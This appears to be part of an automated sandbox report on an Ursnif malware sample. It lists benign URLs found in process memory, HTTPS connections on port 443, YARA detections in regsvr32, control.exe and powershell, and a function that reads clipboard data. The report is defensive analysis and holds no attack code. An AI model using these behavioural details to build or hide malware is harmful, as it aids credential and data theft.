Source: explorer.exe, 0000001E.00000000.439561975.000000000DC70000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.com
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.abril.com.br/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.afisha.ru/App_Themes/Default/images/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.alarabiya.net/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.co.jp/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.co.uk/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.com/exec/obidos/external-search/104-2981279-3455918?index=blended&keyword=
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.com/gp/search?ie=UTF8&tag=ie8search-20&index=blended&linkCode=qs&c
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.amazon.de/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.aol.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000016.00000002.450833084.0000020E9065E000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.arrakis.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.asharqalawsat.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ask.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.auction.co.kr/auction.ico
Source: explorer.exe, 0000001E.00000000.433254432.0000000006840000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.baidu.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.baidu.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.cdiscount.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ceneo.pl/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.chennaionline.com/ncommon/images/collogo.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.cjmall.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.clarin.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.cnet.co.uk/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.cnet.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.dailymail.co.uk/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.docUrl.com/bar.htm
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.etmall.com.tw/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.excite.co.jp/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.expedia.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.gismeteo.ru/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.gmarket.co.kr/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.co.in/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.co.jp/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.co.uk/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com.br/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com.sa/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com.tw/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.cz/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.de/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.es/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.fr/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.it/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.pl/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.ru/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.google.si/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.iask.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.iask.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.kkbox.com.tw/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.linternaute.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.maktoob.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolibre.com.mx/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.mercadolivre.com.br/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.merlin.com.pl/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/?ref=IE8Activity
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BV.aspx?ref=IE8Activity&a=
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/Default.aspx?ref=IE8Activity
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.microsofttranslator.com/DefaultPrev.aspx?ref=IE8Activity
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.mtv.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.mtv.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.myspace.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.najdi.si/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.najdi.si/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.nate.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.neckermann.de/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.news.com.au/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.nifty.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ocn.ne.jp/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.orange.fr/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.otto.de/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ozon.ru/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ozu.es/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.paginasamarillas.es/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.pchome.com.tw/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.priceminister.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.rakuten.co.jp/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.rambler.ru/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.recherche.aol.fr/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.rtl.de/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.rtl.de/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.servicios.clarin.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.shopzilla.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.sify.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.so-net.ne.jp/share/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.sogou.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.sogou.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.soso.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.soso.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.t-online.de/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.taobao.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.taobao.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.target.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.target.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.tchibo.de/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.tesco.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.tesco.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.timesonline.co.uk/img/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiscali.it/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.univision.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.univision.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.walmart.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.walmart.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.ya.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www.yam.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.438578352.000000000BE70000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://www3.fnac.com/favicon.ico
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://xml-us.amznxslt.com/onca/xml?Service=AWSECommerceService&Version=2008-06-26&Operation
Source: explorer.exe, 0000001E.00000000.439935766.000000000DD63000.00000002.00000001.sdmp	String found in binary or memory: http://z.about.com/m/a08.ico
Source: powershell.exe, 00000016.00000002.479407325.0000020EA04B2000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.479407325.0000020EA04B2000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.479407325.0000020EA04B2000.00000004.00000001.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000016.00000003.389591293.0000020EA8997000.00000004.00000001.sdmp, powershell.exe, 00000016.00000002.450833084.0000020E9065E000.00000004.00000001.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: explorer.exe, 0000001E.00000003.469432244.000000000E9E5000.00000004.00000040.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4xNzD?ver=aee5"
Source: explorer.exe, 0000001E.00000003.469432244.000000000E9E5000.00000004.00000040.sdmp	String found in binary or memory: https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE4xvsU?ver=77c4"
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1blRDQ?h=166&w=310&m=6&q=60&u=t&o=t&l=f&f=
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1bmc4S?h=75&w=100&m=6&q=60&u=t&o=t&l=f&f=j
Source: powershell.exe, 00000016.00000002.479407325.0000020EA04B2000.00000004.00000001.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: explorer.exe, 0000001E.00000003.477391818.000000000E9DF000.00000004.00000040.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AAyuliQ.img?h=16&w=16&
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB10MkbM.img?h=16&w=16
Source: explorer.exe, 0000001E.00000002.512108234.0000000000EB8000.00000004.00000020.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1aWtIw.img?h=16&w=16
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1ardZ3.img?h=16&w=16
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1kc8s.img?m=6&o=true
Source: explorer.exe, 0000001E.00000002.512108234.0000000000EB8000.00000004.00000020.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBK9Hzy.img?h=16&w=16&
Source: explorer.exe, 0000001E.00000002.527166930.00000000048F2000.00000004.00000001.sdmp	String found in binary or memory: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBO5Geh.img?h=16&w=16&
Source: explorer.exe, 0000001E.00000000.437305714.0000000008B88000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/de-ch/?ocid=iehp
Source: explorer.exe, 0000001E.00000000.437340795.0000000008BDA000.00000004.00000001.sdmp	String found in binary or memory: https://www.msn.com/de-ch/?ocid=iehpMSN

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000001.00000003.261787991.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261868993.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261831474.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261898772.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261995232.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.441296482.0000000002FB0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.446420368.0000024E31FF5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.365991031.000000000532C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.423867966.0000000002940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261930125.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.515638073.0000024340635000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.446120837.00000000006D5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.445169971.0000024E32160000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261629754.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.261360311.0000000005528000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.416910277.0000020EA8E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.432292653.000002090C820000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.482163983.0000000002910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.519882408.0000026754D05000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: control.exe PID: 6968, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 4360, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4760, type: MEMORY

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 1_2_04A81644 memcpy,memset,GetModuleHandleA,GetProcAddress,GetClipboardData,CloseHandle,FindCloseChangeNotification,CloseHandle,GetLastError,HeapFree,

1_2_04A81644

